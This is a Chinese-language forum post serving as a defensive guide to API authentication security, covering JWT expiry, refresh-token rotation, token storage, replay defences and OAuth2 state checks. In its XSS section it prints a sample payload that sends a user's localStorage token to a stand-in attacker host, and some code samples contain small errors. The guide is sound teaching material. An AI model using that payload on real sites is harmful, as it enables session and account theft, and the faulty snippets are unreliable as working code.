找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2543

积分

1

好友

349

主题
发表于 9 小时前 | 查看: 2| 回复: 0

JWT安全威胁示意图

你以为加了JWT就万事大吉?别天真了,真正的安全从来不在Token本身。

去年帮一个朋友排查代码时,我遇到了一个令人脊背发凉的问题。

他们公司的电商系统采用了JWT进行认证,表面上看起来很专业——登录后返回Token,每次请求都携带,代码也写得有模有样。然而,我随手一测,发现一个离职半年的测试人员的Token竟然依然有效!

更令人不安的是,这个Token在生产环境和测试环境居然通用,原因仅仅是他们使用了相同的密钥……

这并非个例。

根据OWASP 2023年的报告,API安全问题中有87%与认证/授权相关,而其中绝大多数并非由于加密算法被攻破,而是因为认证流程设计本身存在缺陷

今天,我们就深入探讨一下,API认证究竟该如何实施,才能真正确保“安全”。

一、别被名词骗了:认证 ≠ 登录

很多开发者一提到“认证”,脑海中浮现的就是“用户登录”这一场景。这其实是一个巨大的认知误区。

认证的三个层次

想象一下机场安检的过程,就能更好地理解认证:

第一层 - 身份验证 (Authentication)
   ↓
“你是你说的那个人吗?”
就像安检人员核验你的身份证
   ↓
第二层 - 权限验证 (Authorization)
   ↓
“你能做什么事?”
就像头等舱和经济舱的权限区别
   ↓
第三层 - 会话管理 (Session Management)
   ↓
你的“通行证”能用多久?
就像登机牌的有效期

大多数开发者仅仅实现了第一层,就以为万事大吉了。

来看一个真实的代码例子:

// ❌ 许多人编写的“认证”代码
app.post('/api/login', async (req, res) => {
  const user = await User.findOne({ email: req.body.email });
  if (user && bcrypt.compare(req.body.password, user.password)) {
    const token = jwt.sign({ userId: user.id }, SECRET_KEY);
    return res.json({ token });
  }
  res.status(401).json({ error: '登录失败' });
});

// 在受保护的路由中使用
app.get('/api/user/profile', authenticateToken, (req, res) => {
  // 拿到userId就直接使用了
  const user = await User.findById(req.user.userId);
  res.json(user);
});

看起来没问题,对吧?但这里存在一个致命漏洞:这个Token永远不会过期! 一旦泄露,攻击者可以永久使用它。

真正的认证是持续的过程

安全的认证不是“一次性验证完事”,而是“每次请求都需要验证”的持续流程:

用户登录
   ↓
✓ 验证身份
   ↓
签发短期Token (例如15分钟)
   ↓
用户请求API
   ↓
✓ Token是否过期?
✓ 签名是否合法?
✓ 用户权限是否足够?
✓ Token是否被撤销?
   ↓
执行业务逻辑

二、JWT的正确打开方式

JWT(JSON Web Token)并非万能的安全银弹,使用不当反而会成为最大的安全隐患。在设计和实现 网络协议 相关的安全机制时,需要格外注意。

JWT常见的三大误区

误区1:把JWT当Session用

许多开发者直接将JWT存储在localStorage中,并设置长达7天甚至30天的过期时间,以为这样就实现了“无状态”。

这好比给小偷配了一把有效期长达30天的万能钥匙。

正确的做法是采用双Token策略:

// ✅ 双Token策略
function generateTokenPair(user) {
  // Access Token:短期有效,用于日常API访问
  const accessToken = jwt.sign(
    {
      userId: user.id,
      type: 'access'
    },
    process.env.ACCESS_TOKEN_SECRET,
    {
      expiresIn: '15m', // 15分钟
      issuer: 'your-app-name',
      audience: 'your-app-api'
    }
  );

  // Refresh Token:长期有效,仅用于刷新AccessToken
  const refreshToken = jwt.sign(
    {
      userId: user.id,
      type: 'refresh'
    },
    process.env.REFRESH_TOKEN_SECRET,
    {
      expiresIn: '7d', // 7天
      issuer: 'your-app-name',
      audience: 'your-app-api'
    }
  );

  return { accessToken, refreshToken };
}

这样做的好处显而易见:

  • Access Token即使泄露,最多15分钟便会失效。
  • Refresh Token存放在HttpOnly Cookie中,JavaScript无法读取,能有效防御XSS攻击。
  • 即使Refresh Token不幸泄露,我们也能通过机制检测异常并予以撤销。

误区2:忽略JWT的Claims验证

仅仅验证签名是远远不够的,对Claims(声明)的验证同样至关重要:

// ❌ 只验证签名,不验证Claims
function verifyToken(token) {
  try {
    const payload = jwt.verify(token, SECRET);
    return payload;
  } catch (err) {
    return null;
  }
}

// ✅ 完整的验证流程
function verifyToken(token, expectedType = 'access') {
  try {
    const payload = jwt.verify(token, SECRET, {
      issuer: 'your-app-name',    // 验证签发者
      audience: 'your-app-api',   // 验证接收者
      clockTolerance: 0           // 自动检查exp(过期时间)
    });

    // 验证Token类型
    if (payload.type !== expectedType) {
      throw new Error('Token类型不匹配');
    }

    // 可选:检查Token是否在黑名单中
    if (await isTokenRevoked(payload.jti)) {
      throw new Error('Token已被撤销');
    }

    return payload;
  } catch (err) {
    console.error('Token验证失败:', err.message);
    return null;
  }
}

误区3:所有环境使用同一个密钥

这个错误简直太普遍了!许多项目的.env文件是这样的:

# ❌ 危险!
JWT_SECRET=my-super-secret-key-123456

然后开发、测试、生产环境都使用这同一个密钥。后果是:

  • 测试环境的Token能在生产环境使用。
  • 离职员工可能仍保存着测试环境的Token。
  • 一旦密钥泄露,所有环境将全部沦陷。

正确的做法是为每个环境使用独立密钥,并定期轮换:

# 开发环境
JWT_ACCESS_SECRET=dev-access-secret-$(date +%Y%m)
JWT_REFRESH_SECRET=dev-refresh-secret-$(date +%Y%m)

# 生产环境(从密钥管理服务获取)
JWT_ACCESS_SECRET=$(aws secretsmanager get-secret-value --secret-id prod/jwt/access)
JWT_REFRESH_SECRET=$(aws secretsmanager get-secret-value --secret-id prod/jwt/refresh)

三、Token该放哪?这是个严肃的安全问题

我见过太多项目将Token存储在localStorage中,并美其名曰“方便前端访问”。

让我用最简单的话说清楚:localStorage对于XSS攻击来说,就像一个敞开的保险柜。

XSS攻击有多简单?

假设你的网站有一个留言板功能,攻击者发布了这样一条留言:

<img src="x" onerror="
  fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
">

如果你的网站没有做好充分的内容过滤(很多网站确实没有),这段代码一旦执行,所有看到这条留言的用户的Token都会被发送到攻击者的服务器。

正确的Token存储方案

Token存储优先级:

1. 内存(首选)
   ↓
   存储在变量、React Context、Redux中
   页面刷新会丢失,但最为安全

2. HttpOnly Cookie(次选)
   ↓
   仅用于存储Refresh Token
   JavaScript完全无法读取

3. SessionStorage(勉强接受)
   ↓
   比localStorage稍好
   关闭标签页即被清除

4. LocalStorage(永远不要)
   ↓
   XSS攻击的最爱
   除非你有非常充分的理由

实战代码示例:

// ✅ 前端:Token存储在内存中
class TokenManager {
  constructor() {
    this.accessToken = null;
  }

  setAccessToken(token) {
    this.accessToken = token;
  }

  getAccessToken() {
    return this.accessToken;
  }

  clearAccessToken() {
    this.accessToken = null;
  }
}

// 使用React Context在整个应用共享
const AuthContext = React.createContext();

// ✅ 后端:Refresh Token存放在HttpOnly Cookie中
app.post('/api/login', async (req, res) => {
  const { accessToken, refreshToken } = await authenticateUser(req.body);

  // Refresh Token通过Cookie返回
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,      // JavaScript无法读取
    secure: true,        // 仅在HTTPS下传输
    sameSite: 'strict',  // 防止CSRF攻击
    maxAge: 7 * 24 * 60 * 60 * 1000 // 7天
  });

  // Access Token直接返回(由前端存储在内存中)
  res.json({ accessToken });
});

四、Token刷新流程:细节决定成败

许多开发者的Token刷新逻辑是这样的:

// ❌ 不安全的刷新逻辑
app.post('/api/refresh', async (req, res) => {
  const { refreshToken } = req.body;  // 从请求体获取
  const payload = jwt.verify(refreshToken, REFRESH_SECRET);
  const newAccessToken = jwt.sign({ userId: payload.userId }, ACCESS_SECRET);
  res.json({ accessToken: newAccessToken });
});

这里存在三个严重问题:

  1. Refresh Token从请求体传递 → 可能被日志记录,容易泄露。
  2. 没有验证Refresh Token是否被重复使用 → 无法检测Token盗用。
  3. 没有轮换Refresh Token → 一个Refresh Token用到天荒地老。

安全的Token刷新流程

客户端             服务器
  |                   |
  | -- AccessToken过期 -->
  |                   |
  |               验证RefreshToken
  |                   |
  |               检查是否被重用
  |                   |
  |               签发新Token对
  |                   |
  |               撤销旧RefreshToken
  |                   |
  | <-- 新AccessToken -- |
  |    新RefreshToken    |
  |   (HttpOnly Cookie)  |

完整的安全实现:

// 存储已使用的Refresh Token(例如使用Redis)
const usedTokens = new Set();

app.post('/api/refresh', async (req, res) => {
  const refreshToken = req.cookies.refreshToken;

  if (!refreshToken) {
    return res.status(401).json({ error: '缺少refresh token' });
  }

  try {
    // 1. 验证Token
    const payload = jwt.verify(refreshToken, REFRESH_TOKEN_SECRET, {
      issuer: 'your-app-name',
      audience: 'your-app-api'
    });

    // 2. 检查Token是否被重复使用
    const tokenId = payload.jti; // JWT ID
    if (usedTokens.has(tokenId)) {
      // ⚠️ 检测到Token重用,可能是被盗用
      // 撤销该用户的所有Token
      await revokeAllUserTokens(payload.userId);
      // 通知用户
      await notifyUser(payload.userId, 'Token重用检测,已撤销所有会话');
      return res.status(401).json({
        error: 'Token重用检测,请重新登录'
      });
    }

    // 3. 标记Token为已使用
    usedTokens.add(tokenId);

    // 4. 签发新的Token对
    const { accessToken, refreshToken: newRefreshToken } =
      generateTokenPair({ id: payload.userId });

    // 5. 更新Cookie
    res.cookie('refreshToken', newRefreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000
    });

    res.json({ accessToken });

  } catch (err) {
    res.status(401).json({ error: 'Invalid refresh token' });
  }
});

五、防御Token重放攻击

即使你的Token是合法签发的,也可能被攻击者拦截后进行重放攻击。

什么是重放攻击?

正常流程:
用户 → [合法Token] → 服务器 ✓

重放攻击:
用户 → [合法Token] → 服务器 ✓
  ↑                     ↓
攻击者拦截Token
  ↓
攻击者 → [相同Token] → 服务器 ✓ ← 服务器无法区分

防御策略

1. HTTPS是基础

这一点无需多言,任何传输Token的请求都必须使用HTTPS,否则中间人攻击可以轻易截获你的Token。

// ✅ 强制HTTPS
app.use((req, res, next) => {
  if (req.header('x-forwarded-proto') !== 'https') {
    return res.redirect(`https://${req.header('host')}${req.url}`);
  }
  next();
});

2. 设备指纹绑定

将Token与设备特征绑定起来:

// 生成Token时包含设备指纹
function generateTokenWithDevice(user, req) {
  const deviceFingerprint = crypto.createHash('sha256')
    .update(req.headers['user-agent'] + req.ip)
    .digest('hex');

  return jwt.sign({
    userId: user.id,
    device: deviceFingerprint
  }, SECRET, { expiresIn: '15m' });
}

// 验证时检查设备指纹
function verifyTokenWithDevice(token, req) {
  const payload = jwt.verify(token, SECRET);

  const currentDevice = crypto.createHash('sha256')
    .update(req.headers['user-agent'] + req.ip)
    .digest('hex');

  if (payload.device !== currentDevice) {
    throw new Error('设备不匹配,可能是Token被盗用');
  }

  return payload;
}

3. Nonce机制(一次性令牌)

对于转账、修改密码等敏感操作,使用一次性令牌:

// 敏感操作前先获取nonce
app.get('/api/nonce', authenticateToken, (req, res) => {
  const nonce = crypto.randomBytes(16).toString('hex');
  // 存储nonce,设置5分钟过期
  redis.setex(`nonce:${req.user.userId}:${nonce}`, 300, '1');
  res.json({ nonce });
});

// 执行敏感操作时验证nonce
app.post('/api/transfer', authenticateToken, async (req, res) => {
  const { nonce, amount, to } = req.body;

  // 检查nonce是否存在且未使用
  const exists = await redis.get(`nonce:${req.user.userId}:${nonce}`);
  if (!exists) {
    return res.status(400).json({ error: 'Invalid or expired nonce' });
  }

  // 立即删除nonce(确保只能用一次)
  await redis.del(`nonce:${req.user.userId}:${nonce}`);

  // 执行转账
  await transfer(req.user.userId, to, amount);
  res.json({ success: true });
});

六、OAuth2不是“一键登录”那么简单

很多人误以为OAuth2就是“用微信/GitHub登录”,这是对OAuth2最大的误解。

OAuth2的本质

OAuth2是一个授权框架,而非认证协议。它解决的核心问题是:

“如何让第三方应用在不获取用户密码的情况下,访问用户在另一个服务上的资源”

举个例子:

  • 错误理解:“OAuth2让用户用微信账号登录我的网站。”
  • 正确理解:“OAuth2让微信告诉我‘这个人确实是微信用户’,并授权我访问他的微信头像和昵称。”

OAuth2常见的坑

坑1:不验证state参数

// ❌ 不安全:没有state参数
app.get('/auth/wechat', (req, res) => {
  const authUrl = `https://open.weixin.qq.com/oauth2/authorize?` +
    `appid=${APP_ID}&` +
    `redirect_uri=${REDIRECT_URI}&` +
    `response_type=code`;
  res.redirect(authUrl);
});

// ✅ 安全:使用state防止CSRF
app.get('/auth/wechat', (req, res) => {
  const state = crypto.randomBytes(16).toString('hex');
  // 存储state
  req.session.oauthState = state;

  const authUrl = `https://open.weixin.qq.com/oauth2/authorize?` +
    `appid=${APP_ID}&` +
    `redirect_uri=${REDIRECT_URI}&` +
    `response_type=code&` +
    `state=${state}`;  // 加上state参数

  res.redirect(authUrl);
});

// 回调时验证state
app.get('/auth/wechat/callback', (req, res) => {
  const { code, state } = req.query;
  // 验证state
  if (state !== req.session.oauthState) {
    return res.status(403).json({ error: 'Invalid state' });
  }
  // 清除已使用的state
  delete req.session.oauthState;
  // 继续处理...
});

坑2:直接信任OAuth提供商返回的Token

永远不要直接信任第三方返回的Token,务必进行验证:

// ✅ 验证OAuth Token
async function verifyOAuthToken(accessToken, provider) {
  if (provider === 'wechat') {
    // 调用微信的Token验证接口
    const response = await fetch(
      `https://api.weixin.qq.com/sns/auth?` +
      `access_token=${accessToken}&` +
      `openid=${openid}`
    );
    const result = await response.json();
    if (result.errcode !== 0) {
      throw new Error('Invalid WeChat token');
    }
  }
  // 其他provider的验证...
}

七、微服务架构下的认证方案

在微服务环境中,认证变得更加复杂,因为你需要在多个服务之间安全地传递身份信息。此时,一个清晰的 系统架构 设计至关重要。

服务间认证的三种方案

方案2:服务间使用Service Token

// Service A 调用 Service B
async function callServiceB() {
  // 生成服务间Token
  const serviceToken = jwt.sign({
    service: 'service-a',
    timestamp: Date.now()
  }, SERVICE_SECRET, { expiresIn: '1m' });

  const response = await fetch('http://service-b/api/data', {
    headers: {
      'Authorization': `Bearer ${serviceToken}`,
      'X-User-Id': currentUserId  // 传递原始用户身份
    }
  });
}

// Service B 验证
app.use('/api/*', (req, res, next) => {
  const token = req.headers.authorization?.split(' ')[1];
  try {
    const payload = jwt.verify(token, SERVICE_SECRET);
    // 验证是否是已知服务
    if (!TRUSTED_SERVICES.includes(payload.service)) {
      return res.status(403).json({ error: 'Unknown service' });
    }
    req.callerService = payload.service;
    req.userId = req.headers['x-user-id'];
    next();
  } catch (err) {
    res.status(401).json({ error: 'Invalid service token' });
  }
});

八、不要只依赖Token:纵深防御

Token只是安全防线中的一环,真正安全的系统需要构建多层防护体系。

安全防护清单

第1层:网络层
  ├─ HTTPS/TLS加密
  ├─ DDoS防护
  └─ IP白名单(内部API)

第2层:认证层
  ├─ JWT签名验证
  ├─ Token过期检查
  ├─ 设备指纹验证
  └─ Refresh Token轮换

第3层:授权层
  ├─ RBAC权限检查
  ├─ 资源所有权验证
  └─ 敏感操作二次确认

第4层:业务层
  ├─ 输入验证和清洗
  ├─ SQL注入防护
  └─ XSS防护

第5层:监控层
  ├─ 异常登录检测
  ├─ Token滥用检测
  ├─ 审计日志
  └─ 实时告警

九、真实案例:某金融公司的Token泄露事件

2023年某金融科技公司发生了一起严重的安全事件,值得所有开发者引以为戒。

事件经过:

起因:
  某员工在GitHub上传了含有JWT密钥的配置文件
  ↓
发现:
  黑客通过GitHub搜索到了密钥
  ↓
利用:
  1. 黑客伪造了管理员Token
  2. 调用内部API导出了用户数据
  3. 在暗网售卖数据
  ↓
损失:
  - 500万用户数据泄露
  - 监管罚款
  - 声誉损失

复盘:哪里出了问题?

  1. 密钥管理失误
    • JWT密钥硬编码在代码中。
    • 没有使用密钥管理服务。
  2. Token永不过期
    • Token有效期设置为1年。
    • 没有Token轮换机制。
  3. 缺少监控
    • 没有异常Token使用检测。
    • 没有API调用审计。
  4. 权限设计缺陷
    • 单一Token拥有所有权限。
    • 没有细粒度的权限控制。

十、检查清单:你的API认证安全吗?

最后,提供一个完整的检查清单供您自评:

基础安全(必须做到)

  • [ ] ✅ 所有API请求都走HTTPS
  • [ ] ✅ 密码使用bcrypt/Argon2哈希
  • [ ] ✅ JWT包含exp(过期时间)
  • [ ] ✅ Token存储在安全位置(非localStorage)
  • [ ] ✅ 敏感API需要认证
  • [ ] ✅ 实现了注销功能

进阶安全(强烈建议)

  • [ ] ✅ 使用Access Token + Refresh Token双Token策略
  • [ ] ✅ Access Token有效期 ≤ 30分钟
  • [ ] ✅ Refresh Token使用HttpOnly Cookie
  • [ ] ✅ 实现了Token轮换
  • [ ] ✅ 验证JWT的所有Claims(iss, aud, exp等)
  • [ ] ✅ 不同环境使用不同密钥
  • [ ] ✅ 实现了基本的速率限制

专家级安全(高安全要求)

  • [ ] ✅ 实现了Token黑名单/撤销机制
  • [ ] ✅ 设备指纹绑定
  • [ ] ✅ 异常登录检测
  • [ ] ✅ 敏感操作使用Nonce
  • [ ] ✅ 完整的审计日志
  • [ ] ✅ mTLS用于服务间通信
  • [ ] ✅ 定期密钥轮换
  • [ ] ✅ 细粒度权限控制(RBAC)

安全不是一次性的工作,而是持续改进的过程。很多开发者抱有侥幸心理,认为“我的项目很小,不会被攻击”。但事实是,自动化攻击工具每天都在扫描整个互联网,只要你的API暴露在公网上,就存在被攻击的风险。

请记住:

  • JWT不是安全银弹,使用不当反而是隐患。
  • Token的管理比Token本身更重要。
  • 安全是设计出来的,不是靠事后修补的。
  • 永远假设你的Token会被泄露,在设计时就要考虑好补救措施。

希望这份详尽的指南能帮助你构建更安全的API认证体系。在 云栈社区 上,你还可以找到更多关于 Node.js 实践和 安全攻防 的深度讨论与资源。




上一篇:React 19 use() Hook 详解:颠覆数据获取,告别useEffect样板代码
下一篇:基于STM32 PWM与DMA技术,配合二阶LPF设计可调信号发生器
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-18 18:13 , Processed in 0.480781 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表